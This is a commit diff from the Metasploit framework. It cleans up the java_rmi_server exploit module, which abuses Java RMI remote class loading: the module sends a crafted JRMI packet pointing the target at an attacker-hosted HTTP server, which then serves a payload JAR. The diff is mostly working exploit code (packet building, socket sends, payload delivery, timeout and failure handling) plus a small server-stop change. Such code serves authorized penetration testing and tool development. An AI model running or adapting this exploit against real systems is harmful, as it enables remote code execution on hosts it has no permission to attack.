Skip to content

Commit 6d966db

Browse files
committed
Land rapid7#4203, @jvazquez-r7's cleanup for java_rmi_server
2 parents 92bdf42 + 04772c8 commit 6d966db

File tree

2 files changed

+51
-19
lines changed

2 files changed

+51
-19
lines changed

lib/msf/core/exploit/tcp_server.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -161,6 +161,11 @@ def stop_service
161161
self.service.close
162162
self.service.stop
163163
end
164+
165+
if service.kind_of?(Rex::Proto::Http::Server)
166+
service.stop
167+
end
168+
164169
self.service = nil
165170
rescue ::Exception
166171
end

modules/exploits/multi/misc/java_rmi_server.rb

Lines changed: 46 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@
88
class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

11-
include Msf::Exploit::Remote::HttpServer
1211
include Msf::Exploit::Remote::Tcp
12+
include Msf::Exploit::Remote::HttpServer
1313

1414
def initialize(info = {})
1515
super(update_info(info,
@@ -38,10 +38,14 @@ def initialize(info = {})
3838
],
3939
'DisclosureDate' => 'Oct 15 2011',
4040
'Platform' => %w{ java linux osx solaris win },
41-
'Privileged' => true,
42-
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
43-
'Stance' => Msf::Exploit::Stance::Aggressive,
44-
'Targets' =>
41+
'Privileged' => false,
42+
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
43+
'Stance' => Msf::Exploit::Stance::Aggressive,
44+
'DefaultOptions' =>
45+
{
46+
'WfsDelay' => 10
47+
},
48+
'Targets' =>
4549
[
4650
[ 'Generic (Java Payload)',
4751
{
@@ -74,16 +78,41 @@ def initialize(info = {})
7478
}
7579
]
7680
],
77-
'DefaultTarget' => 0
81+
'DefaultTarget' => 0
7882
))
79-
register_options( [ Opt::RPORT(1099) ], self.class)
83+
register_options([
84+
Opt::RPORT(1099),
85+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
86+
], self.class)
8087

8188
register_autofilter_ports([ 1098, 1099 ])
8289
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
8390
end
8491

8592
def exploit
86-
start_service()
93+
begin
94+
Timeout.timeout(datastore['HTTPDELAY']) { super }
95+
rescue Timeout::Error
96+
# When the server stops due to our timeout, re-raise
97+
# RuntimeError so it won't wait the full wfs_delay
98+
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
99+
rescue Msf::Exploit::Failed
100+
# When the server stops due primer failing, re-raise
101+
# RuntimeError so it won't wait the full wfs_delays
102+
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
103+
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
104+
# When the primer fails due to an error connecting with
105+
# the rhost, re-raise RuntimeError so it won't wait the
106+
# full wfs_delays
107+
raise ::RuntimeError, e.message
108+
end
109+
end
110+
111+
def peer
112+
"#{rhost}:#{rport}"
113+
end
114+
115+
def primer
87116
connect
88117

89118
jar = rand_text_alpha(rand(8)+1) + '.jar'
@@ -99,32 +128,29 @@ def exploit
99128
packet[idx, find_me.length] = len + new_url
100129

101130
# write out minimal header and packet
102-
print_status("Connected and sending request for #{new_url}")
131+
print_status("#{peer} - Connected and sending request for #{new_url}")
103132
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
104133
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
105134

106135
buf = ""
107136
1.upto(6) do
108137
res = sock.get_once(-1, 5) rescue nil
109-
break if not res
138+
break unless res
110139
break if session_created?
111140
buf << res
112141
end
113142

143+
disconnect
144+
114145
if buf =~ /RMI class loader disabled/
115-
print_error("Not exploitable: the RMI class loader is disabled")
116-
return
146+
fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled")
117147
end
118148

119-
print_good("Target #{rhost}:#{rport} may be exploitable...")
120-
121-
# Wait for the request to be handled
122-
1.upto(120) do
123-
break if session_created?
124-
select(nil, nil, nil, 0.25)
125-
handler()
149+
if buf =~ /java.lang.ClassNotFoundException/
150+
fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload")
126151
end
127152

153+
print_good("#{peer} - Target may be exploitable...")
128154
end
129155

130156
def on_request_uri(cli, request)
@@ -145,6 +171,7 @@ def on_request_uri(cli, request)
145171
})
146172

147173
print_status("Replied to request for payload JAR")
174+
stop_service
148175
end
149176
end
150177

0 commit comments

Comments
 (0)